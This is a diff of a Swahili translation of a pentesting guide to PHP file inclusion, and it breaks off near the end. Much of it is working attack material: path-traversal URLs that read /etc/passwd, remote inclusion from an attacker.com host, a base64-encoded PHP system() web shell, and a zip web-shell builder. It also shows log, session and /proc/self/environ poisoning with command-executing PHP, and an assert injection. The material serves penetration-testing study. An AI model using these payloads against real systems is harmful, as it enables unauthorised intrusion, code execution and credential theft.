{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Jaribu pia kubadilisha `/` kuwa `\`\
|
||||
Jaribu pia kuongeza `../../../../../`
|
||||
@ -32,7 +34,9 @@ Orodha inayotumia mbinu kadhaa kupata faili /etc/password (kuangalia kama udhaif
|
||||
|
||||
Mchanganyiko wa orodha tofauti za maneno:
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Jaribu pia kubadilisha `/` kuwa `\`\
|
||||
Jaribu pia kuondoa `C:/` na kuongeza `../../../../../`
|
||||
@ -45,7 +49,7 @@ Angalia orodha ya LFI ya linux.
|
||||
|
||||
## Msingi wa LFI na njia za kupita
|
||||
|
||||
Mifano yote ni kwa ajili ya Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/)).
|
||||
Mifano yote ni kwa ajili ya Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -80,13 +84,13 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Kuchunguza Maktaba za Mfumo wa Faili kwenye Seva
|
||||
|
||||
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna mbinu ya kina ya kufanikisha hili:
|
||||
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudi nyuma ili kubaini maktaba, si tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna mbinu ya kina ya kufanikisha hili:
|
||||
|
||||
1. **Baini Kina cha Maktaba:** Thibitisha kina cha maktaba yako ya sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inatumika ikiwa seva ni ya Linux). Mfano wa URL unaweza kuwa na muundo kama ifuatavyo, ukionyesha kina cha tatu:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Chunguza kwa Folda:** Ongeza jina la folda inayoshukiwa (kwa mfano, `private`) kwenye URL, kisha rudi nyuma hadi `/etc/passwd`. Kiwango cha ziada cha saraka kinahitaji kuongeza kina kwa moja:
|
||||
2. **Chunguza kwa Folda:** Ongeza jina la folda inayoshukiwa (kwa mfano, `private`) kwenye URL, kisha rudi kwenye `/etc/passwd`. Kiwango cha ziada cha saraka kinahitaji kuongeza kina kwa moja:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
@ -119,11 +123,11 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
Katika hali hizi, idadi ya traversals inayohitajika inaweza kuwa karibu 2027, lakini nambari hii inaweza kutofautiana kulingana na usanidi wa seva.
|
||||
Katika hali hizi, idadi ya traversals inayohitajika inaweza kuwa karibu 2027, lakini nambari hii inaweza kubadilika kulingana na usanidi wa seva.
|
||||
|
||||
- **Kutumia Sehemu za Dot na Wahusika Wengine**: Mfuatano wa traversal (`../`) uliochanganywa na sehemu za dot za ziada na wahusika unaweza kutumika kuzunguka mfumo wa faili, kwa ufanisi ukipuuza nyongeza za mfuatano kutoka kwa seva.
|
||||
- **Kujua Idadi Inayohitajika ya Traversals**: Kupitia majaribio na makosa, mtu anaweza kupata idadi sahihi ya mfuatano wa `../` inayohitajika kuingia kwenye saraka ya mzizi na kisha kwenye `/etc/passwd`, kuhakikisha kwamba nyongeza zozote (kama `.php`) zimeondolewa lakini njia inayotakiwa (`/etc/passwd`) inabaki salama.
|
||||
- **Kuanza na Saraka ya Uongo**: Ni kawaida kuanza njia na saraka isiyokuwepo (kama `a/`). Mbinu hii inatumika kama hatua ya tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva.
|
||||
- **Kujua Idadi Inayohitajika ya Traversals**: Kupitia majaribio na makosa, mtu anaweza kupata idadi sahihi ya mfuatano wa `../` inayohitajika kuzunguka hadi kwenye saraka ya mzizi na kisha hadi `/etc/passwd`, kuhakikisha kwamba nyongeza zozote za mfuatano (kama `.php`) zimeondolewa lakini njia inayotakiwa (`/etc/passwd`) inabaki kama ilivyo.
|
||||
- **Kuanza na Saraka ya Uongo**: Ni kawaida kuanza njia na saraka isiyopo (kama `a/`). Mbinu hii inatumika kama hatua ya tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva.
|
||||
|
||||
Wakati wa kutumia mbinu za kupunguza njia, ni muhimu kuelewa tabia ya uchambuzi wa njia ya seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji mbinu tofauti, na majaribio mara nyingi yanahitajika ili kupata mbinu bora zaidi.
|
||||
|
||||
@ -139,12 +143,12 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
Katika php hii imezimwa kwa default kwa sababu **`allow_url_include`** ni **Off.** Inapaswa kuwa **On** ili ifanye kazi, na katika hali hiyo unaweza kujumuisha faili ya PHP kutoka kwa seva yako na kupata RCE:
|
||||
Katika php hii imezimwa kwa default kwa sababu **`allow_url_include`** ni **Off.** Inapaswa kuwa **On** ili ifanye kazi, na katika kesi hiyo unaweza kujumuisha faili ya PHP kutoka kwa seva yako na kupata RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inachuja ufikiaji wa kurasa za wavuti za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia kwa mfano protokali ya data na base64 kufungua msimbo wa PHP wa b64 na kupata RCE:
|
||||
Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inachuja** ufikiaji wa kurasa za wavuti za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia kwa mfano protokali ya data na base64 kufungua msimbo wa b64 PHP na kupata RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
@ -162,7 +166,7 @@ Katika python katika msimbo kama huu:
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
Ikiwa mtumiaji atapita **njia kamili** kwa **`file_name`**, **njia ya awali inatolewa tu**:
|
||||
Ikiwa mtumiaji atapita **njia kamili** kwa **`file_name`**, **njia ya awali inondolewa tu**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
@ -173,7 +177,7 @@ Ni tabia iliyokusudiwa kulingana na [the docs](https://docs.python.org/3.10/libr
|
||||
|
||||
## Java Orodha ya Maktaba
|
||||
|
||||
Inaonekana kama una Path Traversal katika Java na unapo **omba maktaba** badala ya faili, **orodha ya maktaba inarudishwa**. Hii haitatokea katika lugha nyingine (kama ninavyojua).
|
||||
Inaonekana kama una Path Traversal katika Java na unapo **omba maktaba** badala ya faili, **orodha ya maktaba inarudishwa**. Hii haitatokea katika lugha nyingine (kama ninavyofahamu).
|
||||
|
||||
## Vigezo 25 vya Juu
|
||||
|
||||
@ -222,10 +226,10 @@ PHP filters huruhusu kufanya **operesheni za mabadiliko ya msingi kwenye data**
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Inabadilisha kuwa uandishi tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya uandishi wote** unaoungwa mkono, endesha kwenye console: `iconv -l`
|
||||
- `convert.iconv.*` : Hubadilisha kuwa encoding tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya encodings zote** zinazoungwa mkono, endesha kwenye console: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Kutumia vibaya `convert.iconv.*` conversion filter unaweza **kuunda maandiko yasiyo na mipaka**, ambayo yanaweza kuwa na manufaa kuandika maandiko yasiyo na mipaka au kufanya kazi kama kuingiza mchakato maandiko yasiyo na mipaka. Kwa maelezo zaidi angalia [**LFI2RCE kupitia php filters**](lfi2rce-via-php-filters.md).
|
||||
> Kutumia vibaya `convert.iconv.*` conversion filter unaweza **kuunda maandiko yasiyo na mipaka**, ambayo yanaweza kuwa na manufaa kuandika maandiko yasiyo na mipaka au kufanya kazi kama kuingiza mchakato wa maandiko yasiyo na mipaka. Kwa maelezo zaidi angalia [**LFI2RCE kupitia php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Punguza maudhui (yanafaa ikiwa unatoa taarifa nyingi)
|
||||
@ -236,7 +240,7 @@ PHP filters huruhusu kufanya **operesheni za mabadiliko ya msingi kwenye data**
|
||||
- Filters Nyingine
|
||||
- Ukikimbia php `var_dump(stream_get_filters());` unaweza kupata couple ya **filters zisizotarajiwa**:
|
||||
- `consumed`
|
||||
- `dechunk`: inarudisha uandishi wa HTTP chunked
|
||||
- `dechunk`: inarudisha encoding ya HTTP chunked
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -265,23 +269,23 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> Sehemu "php://filter" haina tofauti ya herufi
|
||||
> Sehemu "php://filter" haina tofauti ya herufi kubwa na ndogo
|
||||
|
||||
### Kutumia filters za php kama oracle kusoma faili zisizo za kawaida
|
||||
|
||||
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili ya ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea **kuhamasisha boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php** kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili kufanya php itupe makosa.
|
||||
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili ya ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea **kuhamasisha boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php** kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili kufanya php itupe hitilafu.
|
||||
|
||||
Katika chapisho la asili unaweza kupata maelezo ya kina kuhusu mbinu hii, lakini hapa kuna muhtasari wa haraka:
|
||||
|
||||
- Tumia codec **`UCS-4LE`** kuacha herufi inayoongoza ya maandiko mwanzoni na kufanya ukubwa wa mfuatano kuongezeka kwa kasi.
|
||||
- Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya mwanzo inakisiwa kwa usahihi** kwamba php itasababisha **kosa**
|
||||
- Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya mwanzo inakisiwa kwa usahihi** kwamba php itasababisha **hitilafu**
|
||||
- Filter ya **dechunk** it **ondoa kila kitu ikiwa herufi ya kwanza si hexadecimal**, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex.
|
||||
- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litafanya php ipate kosa.
|
||||
- Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haikuondoa na kosa la php linachochewa kwa sababu linazidisha na bomu la awali.
|
||||
- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litafanya php ipate hitilafu.
|
||||
- Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haikuondoa na hitilafu ya php inasababishwa kwa sababu inazidisha na bomu la awali.
|
||||
- Kutumia mabadiliko mengine kama **rot13** mwanzoni inawezekana kuvuja herufi nyingine kama n, o, p, q, r (na codecs nyingine zinaweza kutumika kuhamasisha herufi nyingine kwenye eneo la hex).
|
||||
- Wakati herufi ya mwanzo ni nambari inahitajika kuibua kwa base64 na kuvuja herufi 2 za kwanza ili kuvuja nambari.
|
||||
- Problemu ya mwisho ni kuona **jinsi ya kuvuja zaidi ya herufi ya mwanzo**. Kwa kutumia filters za kumbukumbu za agizo kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha agizo la herufi na kupata katika nafasi ya kwanza herufi nyingine za maandiko.
|
||||
- Na ili kuwa na uwezo wa kupata **data zaidi** wazo ni **kuunda bytes 2 za data za junk mwanzoni** kwa kutumia **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** ili kufanya iwe **pivot na bytes 2 zinazofuata**, na **ondoa data hadi junk data** (hii itafuta bytes 2 za kwanza za maandiko ya awali). Endelea kufanya hivi hadi ufikie kipande unachotaka kuvuja.
|
||||
- Problemu ya mwisho ni kuona **jinsi ya kuvuja zaidi ya herufi ya mwanzo**. Kwa kutumia filters za kumbukumbu za agizo kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha mpangilio wa herufi na kupata katika nafasi ya kwanza herufi nyingine za maandiko.
|
||||
- Na ili kuwa na uwezo wa kupata **data zaidi** wazo ni **kuunda bytes 2 za data za junk mwanzoni** kwa kutumia **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** ili kufanya iwe **pivot na bytes 2 zinazofuata**, na **ondoa data hadi junk data** (hii itafuta bytes 2 za kwanza za maandiko ya awali). Endelea kufanya hivi hadi ufikie kipande kinachotakiwa kuvuja.
|
||||
|
||||
Katika chapisho zana ya kufanya hii kiotomatiki pia ilivuja: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
@ -297,7 +301,7 @@ Unaweza pia kutumia **php://stdin, php://stdout na php://stderr** kufikia **file
|
||||
### zip:// na rar://
|
||||
|
||||
Pakia faili la Zip au Rar lenye PHPShell ndani na ulifike.\
|
||||
Ili uweze kutumia itifaki ya rar inahitaji **kuiwezesha kwa njia maalum**.
|
||||
Ili uweze kutumia itifaki ya rar **inahitaji kuamshwa kwa njia maalum**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -352,11 +356,11 @@ Ili kukusanya faili ya `.phar`, amri ifuatayo inapaswa kutekelezwa:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Kwa utekelezaji, faili linaloitwa `test.phar` litaundwa, ambalo linaweza kutumika ku exploit Local File Inclusion (LFI) vulnerabilities.
|
||||
Kwa utekelezaji, faili lililoitwa `test.phar` litaundwa, ambalo linaweza kutumika ku exploit Local File Inclusion (LFI) vulnerabilities.
|
||||
|
||||
Katika hali ambapo LFI inafanya tu kusoma faili bila kutekeleza msimbo wa PHP ndani yake, kupitia kazi kama `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, au `filesize()`, ku exploit udhaifu wa deserialization kunaweza kujaribiwa. Udhaifu huu unahusishwa na kusoma faili kwa kutumia itifaki ya `phar`.
|
||||
Katika hali ambapo LFI inafanya tu kusoma faili bila kutekeleza PHP code ndani yake, kupitia kazi kama `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, au `filesize()`, ku exploit udhaifu wa deserialization kunaweza kujaribiwa. Udhaifu huu unahusishwa na kusoma faili kwa kutumia protokali ya `phar`.
|
||||
|
||||
Kwa ufahamu wa kina wa ku exploit udhaifu wa deserialization katika muktadha wa faili za `.phar`, rejelea hati iliyo na kiungo hapa chini:
|
||||
Kwa ufahamu wa kina wa ku exploit udhaifu wa deserialization katika muktadha wa faili za `.phar`, rejelea hati iliyounganishwa hapa chini:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -366,28 +370,28 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Ilikuwa inawezekana kutumia **faili yoyote isiyo ya kawaida iliyosomwa kutoka PHP inayounga mkono filters za php** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Ilikuwa inawezekana kutumia **faili yoyote isiyo ya kawaida kusoma kutoka PHP inayounga mkono filters za php** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Muhtasari wa haraka: **overflow ya byte 3** katika PHP heap ilitumiwa kubadilisha **mnyororo wa vipande vya bure** vya ukubwa maalum ili kuweza **kuandika chochote katika anwani yoyote**, hivyo hook iliongezwa kuita **`system`**.\
|
||||
Ilikuwa inawezekana kugawa vipande vya ukubwa maalum kwa kutumia filters zaidi za php.
|
||||
|
||||
### Itifaki zaidi
|
||||
### Protokali zaidi
|
||||
|
||||
Angalia itifaki zaidi zinazowezekana [**kujumuisha hapa**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Angalia protokali zaidi zinazoweza [**kujumuishwa hapa**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika katika kumbukumbu au katika faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la kuingiza faili)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Kufikia mfumo wa faili wa ndani
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Kufikia URL za HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Kufikia URL za FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Mito ya Compression
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pata majina ya njia yanayolingana na muundo (Hairejeshi chochote kinachoweza kuchapishwa, hivyo si kweli yenye manufaa hapa)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pata majina ya njia yanayolingana na muundo (Hairejeshi chochote kinachoweza kuchapishwa, hivyo si kweli muhimu hapa)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Mito ya sauti (Siyo yenye manufaa kusoma faili zisizo za kawaida)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Mito ya sauti (Sio muhimu kusoma faili zisizo za kawaida)
|
||||
|
||||
## LFI kupitia 'assert' ya PHP
|
||||
|
||||
Hatari za Local File Inclusion (LFI) katika PHP ni za juu sana wakati wa kushughulikia kazi ya 'assert', ambayo inaweza kutekeleza msimbo ndani ya nyuzi. Hii ni tatizo hasa ikiwa ingizo linalojumuisha wahusika wa kupita kwenye saraka kama ".." linakaguliwa lakini halijasafishwa ipasavyo.
|
||||
Hatari za Local File Inclusion (LFI) katika PHP ni kubwa sana linapokuja suala la kazi ya 'assert', ambayo inaweza kutekeleza code ndani ya nyuzi. Hii ni tatizo hasa ikiwa ingizo linalojumuisha wahusika wa kupita kwenye saraka kama ".." linakaguliwa lakini halijasafishwa ipasavyo.
|
||||
|
||||
Kwa mfano, msimbo wa PHP unaweza kuundwa kuzuia kupita kwenye saraka kama ifuatavyo:
|
||||
Kwa mfano, code ya PHP inaweza kuundwa kuzuia kupita kwenye saraka kama ifuatavyo:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
@ -399,14 +403,14 @@ Vivyo hivyo, kwa kutekeleza amri za mfumo zisizo na mpangilio, mtu anaweza kutum
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
Ni muhimu **kutoa URL-encode hizi payloads**.
|
||||
Ni muhimu **URL-encode hizi payloads**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Mbinu hii inahusiana na hali ambapo unadhibiti **file path** ya **PHP function** ambayo itafanya **access a file** lakini huwezi kuona maudhui ya faili (kama wito rahisi kwa **`file()`**) lakini maudhui hayataonyeshwa.
|
||||
|
||||
Katika [**hiki kipande cha ajabu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezwa jinsi traversal ya njia ya kipofu inaweza kutumika vibaya kupitia PHP filter ili **kuondoa maudhui ya faili kupitia oracle ya makosa**.
|
||||
Katika [**hiki kipande cha ajabu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezwa jinsi blind path traversal inaweza kutumika vibaya kupitia PHP filter ili **kuondoa maudhui ya faili kupitia oracle ya makosa**.
|
||||
|
||||
Kwa muhtasari, mbinu inatumia **"UCS-4LE" encoding** kufanya maudhui ya faili kuwa **makubwa** kiasi kwamba **PHP function inayofungua** faili itasababisha **makosa**.
|
||||
|
||||
@ -424,14 +428,14 @@ Imeelezwa hapo awali, [**fuata kiungo hiki**](./#remote-file-inclusion).
|
||||
|
||||
### Kupitia faili la log la Apache/Nginx
|
||||
|
||||
Ikiwa seva ya Apache au Nginx ni **dhaifu kwa LFI** ndani ya kazi ya kujumuisha unaweza kujaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, kuweka ndani ya **user agent** au ndani ya **GET parameter** shell ya php kama **`<?php system($_GET['c']); ?>`** na kujumuisha faili hiyo
|
||||
Ikiwa seva ya Apache au Nginx ni **vulnerable to LFI** ndani ya kazi ya kujumuisha unaweza kujaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, kuweka ndani ya **user agent** au ndani ya **GET parameter** shell ya php kama **`<?php system($_GET['c']); ?>`** na kujumuisha faili hiyo.
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba **ikiwa unatumia nukuu mbili** kwa shell badala ya **nukuu rahisi**, nukuu mbili zitaondolewa kwa string "_**quote;**_", **PHP itatupa makosa** hapo na **hakuna kingine kitakachotekelezwa**.
|
||||
>
|
||||
> Pia, hakikisha unandika **sahihi payload** au PHP itakosea kila wakati inajaribu kupakia faili la log na hutakuwa na fursa ya pili.
|
||||
> Pia, hakikisha unandika **payload kwa usahihi** au PHP itakosea kila wakati inajaribu kupakia faili la log na hutakuwa na fursa ya pili.
|
||||
|
||||
Hii inaweza pia kufanywa katika log nyingine lakini **kuwa makini,** msimbo ndani ya log unaweza kuwa URL encoded na hii inaweza kuharibu Shell. Kichwa **authorisation "basic"** kina "user:password" katika Base64 na kinatolewa ndani ya log. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\
|
||||
Hii inaweza pia kufanywa katika log nyingine lakini **kuwa makini,** msimbo ndani ya log unaweza kuwa URL encoded na hii inaweza kuharibu Shell. Kichwa **authorisation "basic"** kina "user:password" katika Base64 na kinachambuliwa ndani ya log. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\
|
||||
Njia nyingine zinazowezekana za log:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -462,7 +466,7 @@ Kama faili ya log, tuma payload katika User-Agent, itajitokeza ndani ya faili ya
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
### Kupitia upakuaji
|
||||
|
||||
Ikiwa unaweza kupakia faili, ingiza tu payload ya shell ndani yake (e.g : `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
@ -470,9 +474,9 @@ http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Ili kuweka faili kuwa na uwezo wa kusomeka ni bora kuingiza kwenye metadata ya picha/doc/pdf
|
||||
|
||||
### Kupitia Upakuaji wa Faili ya Zip
|
||||
### Kupitia upakuaji wa faili la Zip
|
||||
|
||||
Pakua faili ya ZIP inayojumuisha shell ya PHP iliyoshinikizwa na ufikie:
|
||||
Pakua faili la ZIP lililo na shell ya PHP iliyoshinikizwa na ufikie:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
@ -483,12 +487,12 @@ Angalia kama tovuti inatumia PHP Session (PHPSESSID)
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
Katika PHP, vikao hivi vinahifadhiwa katika _/var/lib/php5/sess\\_\[PHPSESSID]\_ faili
|
||||
Katika PHP, vikao hivi vinahifadhiwa kwenye _/var/lib/php5/sess\\_\[PHPSESSID]\_ faili
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
Set the cookie to `<?php system('cat /etc/passwd');?>`
|
||||
Seti cookie kuwa `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
@ -509,7 +513,7 @@ Maktaba za seva ya FTP vsftpd ziko katika _**/var/log/vsftpd.log**_. Katika hali
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
Kama ilivyoonyeshwa katika [hii](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makala, PHP base64 filter inapuuzilia mbali Non-base64. Unaweza kutumia hiyo kupita ukaguzi wa kiendelezi cha faili: ikiwa unatoa base64 inayomalizika na ".php", itapuuzilia mbali "." na kuunganisha "php" kwenye base64. Hapa kuna mfano wa payload:
|
||||
Kama ilivyoonyeshwa katika [hii](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makala, PHP base64 filter inapuuzilia mbali Non-base64. Unaweza kutumia hiyo kupita ukaguzi wa kiendelezi cha faili: ikiwa unatoa base64 inayomalizika na ".php", itapuuzilia mbali "." na kuongezea "php" kwa base64. Hapa kuna mfano wa payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -523,9 +527,9 @@ Hii [**andika** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Kupitia segmentation fault
|
||||
### Kupitia makosa ya segmentation
|
||||
|
||||
**Pakia** faili ambayo itahifadhiwa kama **ya muda** katika `/tmp`, kisha katika **ombio moja,** trigger **segmentation fault**, na kisha **faili ya muda haitafutwa** na unaweza kuitafuta.
|
||||
**Pakia** faili ambayo itahifadhiwa kama **ya muda** katika `/tmp`, kisha katika **ombio hiyo hiyo,** trigger **makosa ya segmentation**, na kisha **faili ya muda haitafutwa** na unaweza kuitafuta.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
@ -541,7 +545,7 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Kupitia PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
